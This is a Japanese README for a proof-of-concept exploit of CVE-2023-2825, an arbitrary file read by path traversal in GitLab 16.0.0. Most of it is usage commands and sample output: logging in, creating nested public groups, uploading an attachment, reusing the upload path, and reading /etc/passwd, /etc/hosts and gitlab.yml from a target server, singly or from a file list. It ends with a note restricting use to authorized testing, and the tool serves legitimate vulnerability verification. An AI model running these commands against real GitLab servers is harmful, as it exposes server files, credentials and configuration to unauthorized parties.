
CVE-2023-2825のPoC:自動化されたGitLab 16.0.0のネストされたパブリックグループを介した任意ファイル読み取り、プロジェクトアップロードのトラバーサル、再利用可能なアップロードパス、クリーンなCLI出力。
CVE-2023-2825 の概念実証(PoC)です。CVE-2023-2825 は GitLab CE/EE 16.0.0 における任意ファイル読み取りの脆弱性です。
このスクリプトは、有効な GitLab アカウントでログインし、必要な公開ネストグループ構造を作成し、公開プロジェクトを作成し、アタッチメントをアップロードし、脆弱なアップロードパス・トラバーサル動作を利用して GitLab サーバーからターゲットファイルを読み取ります。
また、既存のアップロードパスを再利用する機能もサポートしているため、ファイルを読み取るたびに新しいグループやプロジェクトを作成する必要はありません。
Python 3.8+
pip install -r requirements.txt
必要な Python パッケージ:
beautifulsoup4
requests
urllib3
山かっこで囲まれた値はプレースホルダーです。実際の値に置き換え、< や > の文字は含めないでください。
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # ターゲットの GitLab ベース URL。例: http://gitlab.local
<USERNAME> # 有効な GitLab ユーザー名。
<PASSWORD> # 有効な GitLab パスワード。
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
出力例:
[2026-05-17T18:20:10Z] [*] CSRF トークンを取得中
[2026-05-17T18:20:10Z] [+] CSRF トークンが見つかりました
[2026-05-17T18:20:11Z] [*] alice としてログイン中
[2026-05-17T18:20:11Z] [+] ログイン成功
[2026-05-17T18:20:12Z] [*] 11 個のネストされた公開グループを作成中
[2026-05-17T18:20:18Z] [+] グループを作成しました: A1B-11
[2026-05-17T18:20:19Z] [*] 公開プロジェクトを作成中
[2026-05-17T18:20:20Z] [+] 再利用可能なアップロードパス: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] ファイルを読み取り中: /etc/hosts
[+] /etc/hosts の内容
127.0.0.1 localhost
正常に実行された後、スクリプトは再利用可能なアップロードパスを出力します:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
--reuse-path を使用すると、ログイン、グループ作成、プロジェクト作成、アップロードをスキップできます:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
また、完全な URL を渡して --url を省略することもできます:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
ファイルリストを作成します:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
実行:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
作成するネストされた公開グループの数。デフォルト: 11
--depth <N>
使用するトラバーサルセグメントの数。デフォルト: 12
--reuse-path <PATH_OR_URL>
既存のプロジェクトアップロードディレクトリ。セットアップをスキップし、直接ファイルを読み取ります。
--only-final
進行状況ログを非表示にし、ファイルの内容のみを表示します。
--no-color
ANSI カラーを無効にします。
--debug
生成されたトラバーサルパスをトラブルシューティング用に表示します。
--reuse-path を使用してください。この PoC は許可されたセキュリティテスト、ラボ環境、および脆弱性の検証を目的としています。 明示的な許可なくシステムに対して使用しないでください。